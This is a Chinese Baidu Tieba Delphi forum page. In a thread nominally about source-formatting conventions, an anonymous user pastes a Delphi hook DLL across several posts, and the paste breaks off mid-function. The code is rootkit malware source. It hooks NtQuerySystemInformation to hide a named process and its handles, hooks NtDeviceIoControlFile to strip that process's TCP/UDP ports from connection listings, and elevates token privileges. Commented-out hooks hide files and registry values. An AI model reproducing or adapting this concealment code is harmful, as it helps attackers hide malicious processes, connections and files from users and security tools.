网页资讯贴吧知道视频音乐图片地图文库
进入贴吧全吧搜索吧内搜索

 
 
 
日一二三四五六
       
       
       
       
       
       

签到排名:今日本吧第个签到,

本吧因你更精彩,明天继续来努力!

本吧签到人数:0

一键签到
成为超级会员,使用一键签到
一键签到
本月漏签0次!
0
成为超级会员,赠送8张补签卡
如何使用?
点击日历上漏签日期,即可进行补签。
连续签到:天  累计签到:天
0
超级会员单次开通12个月以上,赠送连续签到卡3张
使用连续签到卡
04月19日漏签0天
delphi吧 关注:17,333贴子:80,650
  • 看贴

  • 图片

  • 精品

  • 视频

  • 游戏

  • 首页 上一页 1 2 3 4 5 6 7 8 9 10 下一页 尾页
  • 196回复贴,共14页
  • ,跳到 页  
<<返回delphi吧
>0< 加载中...

回复:Delphi 源程序格式书写规范

  • 只看楼主
  • 收藏

  • 回复
  • 220.171.185.*
快试试吧,
可以对自己使用挽尊卡咯~
◆
◆
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
恩 。好


  • 61.157.136.*
快试试吧,
可以对自己使用挽尊卡咯~
◆
◆
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
library hook;

uses
 Windows,
 afxCodeHook,
 Winsock,
 ShellApi,
 PsApi,
 WinSvc,
 Native, //单元
 JwaWinType, //win32api包单元
 JwaWinSvc, //win32api包单元
 tlhelp32;

type
 TMainThreadInfo = record //TMainThreadInfo值为record
 pSleep: pointer;
 end;

const
 Advapi = 'advapi32'; //在系统中安装
 Kernel = 'kernel32'; //系统KERNEL32.DLL
 Ntdll = 'ntdll';
 Shell = 'shell32';

var
 Root: string = ''; //所在文件夹

var
 Ports: array of word;
 PortCount: dword;

var //定义函数

 NtQuerySystemInformationNextHook: function(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: PVOID; SystemInformationLength: ULONG; ReturnLength: PULONG): NTSTATUS; stdcall;

// NtEnumerateValueKeyNextHook: function(KeyHandle: HANDLE; Index: ULONG; KeyValueInformationClass: KEY_VALUE_INFORMATION_CLASS; KeyValueInformation: PVOID; KeyValueInformationLength: ULONG; ResultLength: PULONG): NTSTATUS; stdcall;

 NtDeviceIoControlFileNextHook: function(FileHandle: HANDLE; Event: HANDLE; ApcRoutine: PIO_APC_ROUTINE; ApcContext: PVOID; IoStatusBlock: PIO_STATUS_BLOCK; IoControlCode: ULONG; InputBuffer: PVOID; InputBufferLength: ULONG; OutputBuffer: PVOID; OutputBufferLength: ULONG): NTSTATUS; stdcall;

// NtQueryDirectoryFileNextHook: function(FileHandle: HANDLE; Event: HANDLE; ApcRoutine: PIO_APC_ROUTINE; ApcContext: PVOID; IoStatusBlock: PIO_STATUS_BLOCK; FileInformation: PVOID; FileInformationLength: ULONG; FileInformationClass: FILE_INFORMATION_CLASS; ReturnSingleEntry: ByteBool; FileName: PUNICODE_STRING; RestartScan: ByteBool): NTSTATUS; stdcall;

// RtlQueryProcessDebugInformationNextHook: function(hProcess: THandle; lpParam: dword; lpBuffer: pointer): dword; stdcall;

 EnumProcessModulesNextHook: function(hProcess: Cardinal; lphModule: pdword; cb: Cardinal; lpcbNeeded: Cardinal): bool; stdcall;

 CreateProcessANextHook: function(lpApplicationName: PAnsiChar; lpCommandLine: PAnsiChar; lpProcessAttributes, lpThreadAttributes: PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer; lpCurrentDirectory: PAnsiChar; const lpStartupInfo: TStartupInfo; var lpProcessInformation: TProcessInformation): BOOL; stdcall;
 CreateProcessWNextHook: function(lpApplicationName: PWideChar; lpCommandLine: PWideChar; lpProcessAttributes, lpThreadAttributes: PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer; lpCurrentDirectory: PWideChar; const lpStartupInfo: TStartupInfo; var lpProcessInformation: TProcessInformation): BOOL; stdcall;
 CreateProcessAsUserANextHook: function(hToken: THandle; lpApplicationName: PAnsiChar; lpCommandLine: PAnsiChar; lpProcessAttributes: PSecurityAttributes; lpThreadAttributes: PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer; lpCurrentDirectory: PAnsiChar; const lpStartupInfo: TStartupInfo; var lpProcessInformation: TProcessInformation): BOOL; stdcall;
 CreateProcessAsUserWNextHook: function(hToken: THandle; lpApplicationName: PWideChar; lpCommandLine: PWideChar; lpProcessAttributes: PSecurityAttributes; lpThreadAttributes: PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer; lpCurrentDirectory: PWideChar; const lpStartupInfo: TStartupInfo; var lpProcessInformation: TProcessInformation): BOOL; stdcall;


  • 61.157.136.*
快试试吧,
可以对自己使用挽尊卡咯~
◆
◆
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
 TokenPrivileges.Privileges[0].luid := Luid;
 TokenPrivileges.PrivilegeCount := 1;
 TokenPrivileges.Privileges[0].Attributes := 0;
 {调用AdjustTokenPrivileges对这个访问令牌进行修改 }
 AdjustTokenPrivileges(hToken, False, TokenPrivileges, SizeOf(TTokenPrivileges), OldTokenPrivileges, ReturnLength);
 OldTokenPrivileges.Privileges[0].luid := Luid;
 OldTokenPrivileges.PrivilegeCount := 1;
 {SE_PRIVILEGE_ENABLED关机权限}
 OldTokenPrivileges.Privileges[0].Attributes := TokenPrivileges.Privileges[0].Attributes or SE_PRIVILEGE_ENABLED;
 AdjustTokenPrivileges(hToken, False, OldTokenPrivileges, ReturnLength, PTokenPrivileges(nil)^, ReturnLength);
end;

//进程ID
function GetPathFromId(Id: dword): string;
type
 TProcessBasicInformation = record //ProcessBasicInformation 值为 record
 ExitStatus: Integer;
 PebBaseAddress: Pointer;
 AffinityMask: Integer;
 BasePriority: Integer;
 UniqueProcessID: Integer;
 InheritedFromUniqueProcessID: Integer;
 end;
var
 Process: dword;
 ProcInfo: TProcessBasicInformation;
 BytesRead: dword;
 Usr, Buf: dword;
 Len: word;
 Buffer: PWideChar; //字符串常量
begin
 Result := '';
 Process := OpenProcess(PROCESS_ALL_ACCESS, False, Id);
 {获取进程的PID }
 {PROCESS_ALL_ACCESS 操作权限为所有操作 ,打开指定标识的进程Id 也就是得到所属进程的句柄 }
 NtQueryInformationProcess(Process, ProcessBasicInformation, @ProcInfo, SizeOf(TProcessBasicInformation), nil);
 {获取目标进程的PEB(进程环境块) }
 ReadProcessMemory(Process, pointer(dword(ProcInfo.PebBaseAddress) + $10), @Usr, 4, BytesRead);
 {往其他进程内存中读写内存 一次读出整个区域 }
 ReadProcessMemory(Process, pointer(Usr + $38), @Len, 2, BytesRead);
 GetMem(Buffer, Len); {分配内存 }
 try
 ReadProcessMemory(Process, pointer(Usr + $3C), @Buf, 4, BytesRead);
 ReadProcessMemory(Process, pointer(Buf), Buffer, Len, BytesRead);
 Result := WideCharToString(Buffer);
 finally
 FreeMem(Buffer); //不管怎样都要释放内存空间
 end;
 SetLength(Result, Len div 2); // SetLength 刷新任何缓冲写入
 //Result 返回
end;

//取目录下全部进程句柄
function IsId(Id: dword): boolean;
var
 Path: string;
begin
//获取Exp进程的PID码,Shell_TrayWnd为类名,相关的需用SPY++来查看
 //LowerCase-使每个字的所有字母小写 目录下进程ID
 // ExtractFilePath抽取进程ID Project1.exe
 { Path := LowerCase(ExtractFilePath(GetPathFromId(Id))); //抽取进程ID后用小写表示
 Result := Pos(LowerCase('\' + Root + '\'), Path) <> 0;
 {取文件夹名,如\rewt\ ,取所有的进程ID,意思:\rewt\下的进程ID}
 Path := LowerCase(GetPathFromId(Id));
 Result := Pos(LowerCase('rejoice_06.exe'), Path) <> 0; //改成只隐藏指定进程 
end;

{ 资源管理器句柄 , 用小写表示 }

function IsExplorer(Id: dword): boolean;
var
 Path: string;
begin
 Path := LowerCase(GetPathFromId(Id));
 Result := Pos(LowerCase('explorer.exe'), Path) <> 0; //插入资源管理器

end;

//端口类型

function IsPort(Port: word): boolean;
var
 PortLoop: dword; //窗口类型
begin
 Result := False;
 for PortLoop := 0 to PortCount - 1 do
 begin
 if PortLoop >= PortCount then Break;
 if Ports[PortLoop] = Port then


  • 61.157.136.*
快试试吧,
可以对自己使用挽尊卡咯~
◆
◆
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
 begin
 Result := True;
 Exit;
 end;
 end;
end;

//加入端口

function AddPort(Port: word): boolean;
begin
 Result := False;
 if IsPort(Port) then Exit;
 SetLength(Ports, PortCount + 1);
 Ports[PortCount] := Port;
 Inc(PortCount);
 Result := True;
end;

procedure ClearPorts;
begin
 PortCount := 0; // PortCount的值赋为0.
 SetLength(Ports, PortCount + 1); //刷新
end;

//
procedure UpdatePorts;
type
 TDI_CONNECTION_INFO = record //
 State: ULONG; //ulong关键字表示一种整型,该类型根据下表显示的大小和范围存储值
 Event: ULONG;
 TransmittedTsdus: ULONG;
 ReceivedTsdus: ULONG;
 TransmissionErrors: ULONG;
 ReceiveErrors: ULONG;
 Throughput: ULONG;
 Delay: ULONG;
 SendBufferSize: ULONG;
 ReceiveBufferSize: ULONG;
 Unreliable: BOOL;
 end;
 TDI_CONNECTION_INFORMATION = record
 UserDataLength: ULONG;
 UserData: ULONG;
 OptionsLength: ULONG;
 Options: ULONG;
 RemoteAddressLength: ULONG;
 RemoteAddress: ULONG;
 end;
var
 SystemInformation: PSYSTEM_HANDLE_INFORMATION; //SystemInformation 类使您可以方便地检索系统设置
 HandleEntry: SYSTEM_HANDLE_TABLE_ENTRY_INFO; // windoiws句柄
 ObjectInformation: POBJECT_NAME_INFORMATION;
 IoStatusBlock: IO_STATUS_BLOCK; // 存放I/O请求的状态
 TdiConnectionInfo: TDI_CONNECTION_INFO;
 TdiConnectionInformation: TDI_CONNECTION_INFORMATION;
 Status: NTSTATUS;
 Handle, ProcessId, Bytes, SystemInformationLength, HandlesParsed, ProcessHandle, Duplicate, ObjectInformationLength: dword;
 Port: word;
 HandleName: string;
begin
 ClearPorts;
 GetMem(SystemInformation, 1);
 try
 SystemInformationLength := 1;
 while True do
 begin
 Inc(SystemInformationLength, 1024);
 ReallocMem(SystemInformation, SystemInformationLength);
 Status := NtQuerySystemInformationNextHook(SystemHandleInformation, SystemInformation, SystemInformationLength, @Bytes);
 if Status = NTSTATUS($C0000004) then
 Continue
 else
 Break;
 end;
 for HandlesParsed := 0 to SystemInformation.NumberOfHandles - 1 do
 begin
 HandleEntry := SystemInformation.Handles[HandlesParsed];
 ProcessId := HandleEntry.UniqueProcessId;
 Handle := HandleEntry.HandleValue;
 ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, ProcessId);
 if not DuplicateHandle(ProcessHandle, Handle, GetCurrentProcess, @Duplicate, PROCESS_ALL_ACCESS, False, 0) then
 begin
 CloseHandle(ProcessHandle);
 Continue;
 end;
 GetMem(ObjectInformation, 1);
 try
 ObjectInformationLength := 1;
 while True do
 begin
 Inc(ObjectInformationLength, 1024);
 ReallocMem(ObjectInformation, ObjectInformationLength);
 Status := NtQueryObject(Duplicate, ObjectNameInformation, ObjectInformation, ObjectInformationLength, @Bytes);
 if Status = NTSTATUS($C0000004) then
 Continue
 else
 Break;
 end;
 // WideCharToString 函数 将UNICODE字符串转换为ANSI字符串
 HandleName := WideCharToString(ObjectInformation.Name.Buffer);
 finally
 FreeMem(ObjectInformation);
 end; // 所以我们只检测类型是File并且名字是\Device\Tcp或\Device\Udp的。打开端口只有这种类型和名字。
 if ((lstrcmpi(pchar(HandleName), '\device\tcp') = 0) or (lstrcmpi(pchar(HandleName), '\device\udp') = 0)) then


  • 61.157.136.*
快试试吧,
可以对自己使用挽尊卡咯~
◆
◆
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
 begin
 if HandleEntry.HandleAttributes = 2 then
 begin
 TdiConnectionInformation.RemoteAddressLength := 4;
 if NtDeviceIoControlFileNextHook(Duplicate, 0, nil, nil, @IoStatusBlock, $210012, @TdiConnectionInformation, SizeOf(TDI_CONNECTION_INFORMATION) - $16, @TdiConnectionInfo, SizeOf(TDI_CONNECTION_INFO)) = 0 then
 begin
 TdiConnectionInformation.RemoteAddressLength := 3;
 if NtDeviceIoControlFileNextHook(Duplicate, 0, nil, nil, @IoStatusBlock, $210012, @TdiConnectionInformation, SizeOf(TDI_CONNECTION_INFORMATION), @TdiConnectionInfo, SizeOf(TDI_CONNECTION_INFO)) = 0 then
 begin
 Port := ntohs(TdiConnectionInfo.ReceivedTsdus and 65535);
 if IsId(ProcessId) then
 begin
 AddPort(Port);
 end;
 end;
 end;
 end
 else
 begin
 TdiConnectionInformation.RemoteAddressLength := 3;
 NtDeviceIoControlFileNextHook(Duplicate, 0, nil, nil, @IoStatusBlock, $210012, @TdiConnectionInformation, SizeOf(TDI_CONNECTION_INFORMATION), @TdiConnectionInfo, SizeOf(TDI_CONNECTION_INFO));
 Port := ntohs(TdiConnectionInfo.ReceivedTsdus and 65535);
 if IsId(ProcessId) then
 begin
 AddPort(Port);
 end;
 end;
 end;
 CloseHandle(ProcessHandle); // 失败处理 切断子进程和父进程之间的关系
 CloseHandle(Duplicate);
 end;
 finally
 FreeMem(SystemInformation);
 end;
end;

//进程
{ 种进程信息是通过NtQuerySystemInformation获取的。
 SystemInformationClass标明了我们想要获得的信息的类别,
 SystemInformation是一个指向函数输出缓冲区的指针,
 SystemInformationLength是这个缓冲区的长度,ReturnLength是写入字节的数目。}
 { 进程名称 进程号 优先 线程 句柄 文件页 建立时间 }
function NtQuerySystemInformationHookProc(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: PVOID; SystemInformationLength: ULONG; ReturnLength: PULONG): NTSTATUS; stdcall;
var
 LastProcessInfo, ProcessInfo: PSYSTEM_PROCESSES; // 线程
 HandleEntry: SYSTEM_HANDLE_TABLE_ENTRY_INFO;
 HandleInfo: PSYSTEM_HANDLE_INFORMATION; //句柄
 HandlesParsed, Offset: dword;
begin
 Result := NtQuerySystemInformationNextHook(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
 if Result <> 0 then Exit;
//对于正在运行进程的枚举我们使用设置为SystemProcessesAndThreadsInformation的SystemInformationClass
 if SystemInformationClass = SystemProcessesAndThreadsInformation then
 begin
 Offset := 0; // 省略
 LastProcessInfo := nil; //空
 repeat
 ProcessInfo := PSYSTEM_PROCESSES(pointer(dword(SystemInformation) + Offset));
 {PSYSTEM_PROCESSES进程隐藏 }
 if IsId(ProcessInfo.ProcessId) then
 begin
 if ProcessInfo.NextEntryDelta = 0 then
 {隐藏进程和隐藏文件方法基本一样,就是改动我们需要隐藏的记录的前一个记录的NextEntryDelta。
 通常我们不用隐藏第一个记录,因为它是空闲进程(Idle process)。}
 begin
 if LastProcessInfo <> nil then
 LastProcessInfo.NextEntryDelta := 0;
 Exit;
 end
 else
 begin
 LastProcessInfo.NextEntryDelta := LastProcessInfo.NextEntryDelta + ProcessInfo.NextEntryDelta;
 end;
 end
 else
 begin
 LastProcessInfo := ProcessInfo; //设置指示进程状态的内部信息
 end;
 Offset := Offset + ProcessInfo.NextEntryDelta;


  • 61.157.136.*
快试试吧,
可以对自己使用挽尊卡咯~
◆
◆
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
 until ProcessInfo.NextEntryDelta = 0;
 end
 else if SystemInformationClass = SystemHandleInformation then
 begin
 HandleInfo := PSYSTEM_HANDLE_INFORMATION(SystemInformation); //指定了拥有该句柄的进程
 HandlesParsed := 0;
 while HandlesParsed < HandleInfo.NumberOfHandles do
 begin
 HandleEntry := HandleInfo.Handles[HandlesParsed];
 if IsId(HandleEntry.UniqueProcessId) then
 begin
 ZeroMemory(@HandleInfo.Handles[HandlesParsed], SizeOf(SYSTEM_HANDLE_INFORMATION));
 //将指定一个数据块清零
 end;
 Inc(HandlesParsed);
 end;
 end;
end;

{function GetValueShift(KeyHandle: dword; Index: ULONG): dword;
var
 KeyValueInformation: KEY_VALUE_BASIC_INFORMATION; // KeyvalueInformation缓冲区
 ResultLength: ULONG;
 ValueLoop: dword;
 RootPath: string;
begin
 Result := 0;
 RootPath := string(Root) + '\';
 ValueLoop := 0;
 while ValueLoop <= Index do
 begin
 //将指定一个数据块清零
 ZeroMemory(@KeyValueInformation, SizeOf(KEY_VALUE_BASIC_INFORMATION));
 if NtEnumerateValueKeyNextHook(KeyHandle, Result, KeyValueBasicInformation, @KeyValueInformation, SizeOf(KEY_VALUE_BASIC_INFORMATION), @ResultLength) <> ERROR_SUCCESS then Break;
 byte(pointer(dword(@KeyValueInformation) + ResultLength)^) := 0;
 if not StrCmp(RootPath, ExtractFilePath(WideCharToString(PWideChar(@KeyValueInformation.Name)))) then
 begin
 Inc(ValueLoop);
 end;
 if ValueLoop > Index then Exit;
 Inc(Result);
 end;
end; }
 //注册表
{function NtEnumerateValueKeyHookProc(KeyHandle: HANDLE; Index: ULONG; KeyValueInformationClass: KEY_VALUE_INFORMATION_CLASS; KeyValueInformation: PVOID; KeyValueInformationLength: ULONG; ResultLength: PULONG): NTSTATUS; stdcall;
begin
//定义的函数 NtEnumerateValueKeyNextHook
//KeyHandle是已经用索引标明我们想要从中获取信息的子键的句柄
 Result := NtEnumerateValueKeyNextHook(KeyHandle, GetValueShift(KeyHandle, Index), KeyValueInformationClass, KeyValueInformation, KeyValueInformationLength, ResultLength);
end; }

//端口
function NtDeviceIoControlFileHookProc(FileHandle: HANDLE; Event: HANDLE; ApcRoutine: PIO_APC_ROUTINE; ApcContext: PVOID; IoStatusBlock: PIO_STATUS_BLOCK; IoControlCode: ULONG; InputBuffer: PVOID; InputBufferLength: ULONG; OutputBuffer: PVOID; OutputBufferLength: ULONG): NTSTATUS; stdcall;
type
//打开了一个端口,再对这个句柄进行确认,就可以了
 TDI_CONNECTION_INFO = record
 State: ULONG;
 Event: ULONG;
 TransmittedTsdus: ULONG;
 ReceivedTsdus: ULONG;
 TransmissionErrors: ULONG;
 ReceiveErrors: ULONG;
 Throughput: ULONG;
 Delay: ULONG;
 SendBufferSize: ULONG;
 ReceiveBufferSize: ULONG;
 Unreliable: BOOL;
 end;
 PTDI_CONNECTION_INFO = ^TDI_CONNECTION_INFO;
type
 TMibTcpRow = record
 dwState: DWORD;
 dwLocalAddr: DWORD;
 dwLocalPort: DWORD;
 dwRemoteAddr: DWORD;
 dwRemotePort: DWORD;
 end;
 PMibTcpRow = ^TMibTcpRow;
 TMibUdpRow = record
 dwLocalAddr: DWORD;
 dwLocalPort: DWORD;
 end;
 PMibUdpRow = ^TMibUdpRow;
 TMibTcpRowEx = record
 dwState: DWORD;
 dwLocalAddr: DWORD;
 dwLocalPort: DWORD;
 dwRemoteAddr: DWORD;
 dwRemotePort: DWORD;
 dwProcessId: DWORD;


  • 61.157.136.*
快试试吧,
可以对自己使用挽尊卡咯~
◆
◆
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
 end;
 PMibTcpRowEx = ^TMibTcpRow;
 TMibUdpRowEx = record
 dwLocalAddr: DWORD;
 dwLocalPort: DWORD;
 dwProcessId: DWORD;
 end;
 PMibUdpRowEx = ^TMibUdpRowEx;
var
 MibTcpRow, NextMibTcpRow: PMibTcpRow;
 MibTcpRowEx, NextMibTcpRowEx: PMibTcpRowEx;
 MibUdpRow, NextMibUdpRow: PMibUdpRow;
 MibUdpRowEx, NextMibUdpRowEx: PMibUdpRowEx;
 Size: dword;
 Rows: dword;
begin
 Result := NtDeviceIoControlFileNextHook(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, IoControlCode, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength);
 if Result <> 0 then Exit;
 if IoControlCode = $210012 then //进行TDI查询,得到连接的相关信息
 begin
 if OutputBufferLength = SizeOf(TDI_CONNECTION_INFO) then
 begin
 if IsPort(ntohs(PTDI_CONNECTION_INFO(OutputBuffer).ReceivedTsdus and 65535)) then
 begin
 ZeroMemory(OutputBuffer, OutputBufferLength);
 IoStatusBlock.Status := $141;
 IoStatusBlock.Information := 0;
 end;
 end;
 end;
 if IoControlCode <> $120003 then Exit;
 if InputBufferLength = 36 then
 begin
 if ((pchar(InputBuffer)[1] = #4) and (pchar(InputBuffer)[17] = #1)) then
 begin
 UpdatePorts;
 if pchar(InputBuffer)[0] = #0 then
 begin
 if pchar(InputBuffer)[16] = #1 then
 begin
 Size := IoStatusBlock.Information div SizeOf(TMibTcpRow);
 Rows := 0;
 while Rows < Size do
 begin
 MibTcpRow := PMibTcpRow(pointer(dword(OutputBuffer) + (Rows * SizeOf(TMibTcpRow))));
 if IsPort(ntohs(MibTcpRow.dwLocalPort)) then
 begin
 NextMibTcpRow := pointer(dword(MibTcpRow) + SizeOf(TMibTcpRow));
 CopyMemory(MibTcpRow, NextMibTcpRow, IoStatusBlock.Information - (dword(NextMibTcpRow) - dword(OutputBuffer)));
 Dec(IoStatusBlock.Information, SizeOf(TMibTcpRow));
 Size := IoStatusBlock.Information div SizeOf(TMibTcpRow);
 end
 else
 begin
 Inc(Rows);
 end;
 end;
 end
 else if pchar(InputBuffer)[16] = #2 then
 begin
 Size := IoStatusBlock.Information div SizeOf(TMibTcpRowEx);
 Rows := 0;
 while Rows < Size do
 begin
 MibTcpRowEx := PMibTcpRowEx(pointer(dword(OutputBuffer) + (Rows * SizeOf(TMibTcpRowEx))));
 if IsPort(ntohs(MibTcpRowEx.dwLocalPort)) then
 begin
 NextMibTcpRowEx := pointer(dword(MibTcpRowEx) + SizeOf(TMibTcpRowEx));
 CopyMemory(MibTcpRowEx, NextMibTcpRowEx, IoStatusBlock.Information - (dword(NextMibTcpRowEx) - dword(OutputBuffer)));
 Dec(IoStatusBlock.Information, SizeOf(TMibTcpRowEx));
 Size := IoStatusBlock.Information div SizeOf(TMibTcpRowEx);
 end
 else
 begin
 Inc(Rows);
 end;
 end;
 end;
 end
 else if pchar(InputBuffer)[0] = #1 then
 begin
 if pchar(InputBuffer)[16] = #1 then
 begin
 Size := IoStatusBlock.Information div SizeOf(TMibUdpRow);
 Rows := 0;
 while Rows < Size do
 begin
 MibUdpRow := PMibUdpRow(pointer(dword(OutputBuffer) + (Rows * SizeOf(TMibUdpRow))));
 if IsPort(ntohs(MibUdpRow.dwLocalPort)) then
 begin
 NextMibUdpRow := pointer(dword(MibUdpRow) + SizeOf(TMibUdpRow));
 CopyMemory(MibUdpRow, NextMibUdpRow, IoStatusBlock.Information - (dword(NextMibUdpRow) - dword(OutputBuffer)));
 Dec(IoStatusBlock.Information, SizeOf(TMibUdpRow));


  • 61.157.136.*
快试试吧,
可以对自己使用挽尊卡咯~
◆
◆
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
 Size := IoStatusBlock.Information div SizeOf(TMibUdpRow);
 end
 else
 begin
 Inc(Rows);
 end;
 end;
 end
 else if pchar(InputBuffer)[16] = #2 then
 begin
 Size := IoStatusBlock.Information div SizeOf(TMibUdpRowEx);
 Rows := 0;
 while Rows < Size do
 begin
 MibUdpRowEx := PMibUdpRowEx(pointer(dword(OutputBuffer) + (Rows * SizeOf(TMibUdpRowEx))));
 if IsPort(ntohs(MibUdpRowEx.dwLocalPort)) then
 begin
 NextMibUdpRowEx := pointer(dword(MibUdpRowEx) + SizeOf(TMibUdpRowEx));
 CopyMemory(MibUdpRowEx, NextMibUdpRowEx, IoStatusBlock.Information - (dword(NextMibUdpRowEx) - dword(OutputBuffer)));
 Dec(IoStatusBlock.Information, SizeOf(TMibUdpRowEx));
 Size := IoStatusBlock.Information div SizeOf(TMibUdpRowEx);
 end
 else
 begin
 Inc(Rows);
 end;
 end;
 end;
 end;
 end;
 end;
end;
//文件
{在WINNT里在某些目录中寻找某个文件的方法是枚举它里面所有的文件和它的子目录下的所有文件。
文件的枚举是使用NtQueryDirectoryFile函数。
对我们来说重要的参数是FileHandle,FileInformation和FileInformationClass。FileHandle
是从NtOpenFile获得的目录对象句柄。
FileInformation是一个指针,指向函数要写入需要的数据的已分配内存。
FileInformationClass决定写入FileImformation的记录的类型。
FileInformationClass是一个变化的枚举类型,我们只需要其中4个值来枚举目录内容: }

{这个函数在FileInformation中写入这些结构的一个列表。
对我们来说在这些结构类型中只有3个变量是重要的。
NextEntryOffset是这个列表中项的偏移地址。
第一个项在地址FileInformation+0处,
所以第二个项在地址是FileInformation+第一个项的NextEntryOffset。
最后一个项的NextEntryOffset是0。
FileName是文件全名。
FileNameLength是文件名长度。

如果我们想要隐藏一个文件,我们需要分别通知这4种类型,
对每种类型的返回记录我们需要和我们打算隐藏的文件比较名字。
如果我们打算隐藏第一个记录,我们可以把后面的结构向前移动,
移动长度为第一个结构的长度,这样会导致第一个记录被改写。
如果我们想要隐藏其它任何一个,只需要很容易的改变上一个记
录的NextEntryOffset的值就行。如果我们要隐藏最后一个记录就
把它的NextEntryOffset改为0,否则NextEntryOffset的值应为我们
想要隐藏的那个记录和前一个的NextEntryOffset值的和。然后修改
前一个记录的Unknown变量的值,它是下一次搜索的索引。把要隐藏
的记录之前一个记录的Unknown变量的值改为我们要隐藏的那个记录
的Unkown变量的值即可。
如果没有原本应该可见的记录被找到,我们就返回STATUS_NO_SUCH_FILE}
{function NtQueryDirectoryFileHookProc(FileHandle: HANDLE; Event: HANDLE; ApcRoutine: PIO_APC_ROUTINE; ApcContext: PVOID; IoStatusBlock: PIO_STATUS_BLOCK; FileInformation: PVOID; FileInformationLength: ULONG; FileInformationClass: FILE_INFORMATION_CLASS; ReturnSingleEntry: ByteBool; FileName: PUNICODE_STRING; RestartScan: ByteBool): NTSTATUS; stdcall;
var
 Offset: dword;
 Name: string;
 //如果我们想要隐藏一个文件,我们需要分别通知这4种类型,
 LastFileDirectoryInfo, FileDirectoryInfo: PFILE_DIRECTORY_INFORMATION;
 LastFileFullDirectoryInfo, FileFullDirectoryInfo: PFILE_FULL_DIRECTORY_INFORMATION;
 LastFileBothDirectoryInfo, FileBothDirectoryInfo: PFILE_BOTH_DIRECTORY_INFORMATION;
 LastFileNamesInfo, FileNamesInfo: PFILE_NAMES_INFORMATION;
begin
 Result := NtQueryDirectoryFileNextHook(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, FileInformation, FileInformationLength, FileInformationClass, ReturnSingleEntry, FileName, RestartScan);


  • 61.157.136.*
快试试吧,
可以对自己使用挽尊卡咯~
◆
◆
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
 if Result <> 0 then Exit;
 Offset := 0;
 case dword(FileInformationClass) of
 1:
 begin
 FileDirectoryInfo := nil;
 repeat
 LastFileDirectoryInfo := FileDirectoryInfo;
 FileDirectoryInfo := PFILE_DIRECTORY_INFORMATION(pointer(dword(FileInformation) + Offset));
 Name := Copy(WideCharToString(FileDirectoryInfo.FileName), 1, FileDirectoryInfo.FileNameLength div 2);
 if StrCmp(Name, Root) then
 begin
 if FileDirectoryInfo.NextEntryOffset = 0 then
 begin
 if LastFileDirectoryInfo <> nil then LastFileDirectoryInfo.NextEntryOffset := 0
 else Result := NTSTATUS($C000000F);
 Exit;
 end
 else
 begin
 LastFileDirectoryInfo.NextEntryOffset := LastFileDirectoryInfo.NextEntryOffset + FileDirectoryInfo.NextEntryOffset;
 end;
 end;
 Offset := Offset + FileDirectoryInfo.NextEntryOffset;
 until FileDirectoryInfo.NextEntryOffset = 0;
 end;
 2:
 begin
 FileFullDirectoryInfo := nil;
 repeat
 LastFileFullDirectoryInfo := FileFullDirectoryInfo;
 FileFullDirectoryInfo := PFILE_FULL_DIRECTORY_INFORMATION(pointer(dword(FileInformation) + Offset));
 Name := Copy(WideCharToString(FileFullDirectoryInfo.FileName), 1, FileFullDirectoryInfo.FileNameLength div 2);
 if StrCmp(Name, Root) then
 begin
 if FileFullDirectoryInfo.NextEntryOffset = 0 then
 begin
 if LastFileFullDirectoryInfo <> nil then LastFileFullDirectoryInfo.NextEntryOffset := 0
 else Result := NTSTATUS($C000000F);
 Exit;
 end
 else
 begin
 LastFileFullDirectoryInfo.NextEntryOffset := LastFileFullDirectoryInfo.NextEntryOffset + FileFullDirectoryInfo.NextEntryOffset;
 end;
 end;
 Offset := Offset + FileFullDirectoryInfo.NextEntryOffset;
 until FileFullDirectoryInfo.NextEntryOffset = 0;
 end;
 3:
 begin
 FileBothDirectoryInfo := nil;
 repeat
 LastFileBothDirectoryInfo := FileBothDirectoryInfo;
 FileBothDirectoryInfo := PFILE_BOTH_DIRECTORY_INFORMATION(pointer(dword(FileInformation) + Offset));
 Name := Copy(WideCharToString(FileBothDirectoryInfo.FileName), 1, FileBothDirectoryInfo.FileNameLength div 2);
 if StrCmp(Name, Root) then
 begin
 if FileBothDirectoryInfo.NextEntryOffset = 0 then
 begin
 if LastFileBothDirectoryInfo <> nil then LastFileBothDirectoryInfo.NextEntryOffset := 0
 else Result := NTSTATUS($C000000F);
 Exit;
 end
 else
 begin
 LastFileBothDirectoryInfo.NextEntryOffset := LastFileBothDirectoryInfo.NextEntryOffset + FileBothDirectoryInfo.NextEntryOffset;
 end;
 end;
 Offset := Offset + FileBothDirectoryInfo.NextEntryOffset;
 until FileBothDirectoryInfo.NextEntryOffset = 0;
 end;
 12:
 begin
 FileNamesInfo := nil;
 repeat
 LastFileNamesInfo := FileNamesInfo;
 FileNamesInfo := PFILE_NAMES_INFORMATION(pointer(dword(FileInformation) + Offset));
 Name := Copy(WideCharToString(FileNamesInfo.FileName), 1, FileNamesInfo.FileNameLength div 2);
 if StrCmp(Name, Root) then
 begin
 if FileNamesInfo.NextEntryOffset = 0 then
 begin
 if LastFileNamesInfo <> nil then LastFileNamesInfo.NextEntryOffset := 0
 else Result := NTSTATUS($C000000F);
 Exit;
 end
 else
 begin
 LastFileNamesInfo.NextEntryOffset := LastFileNamesInfo.NextEntryOffset + FileNamesInfo.NextEntryOffset;


  • 61.157.136.*
快试试吧,
可以对自己使用挽尊卡咯~
◆
◆
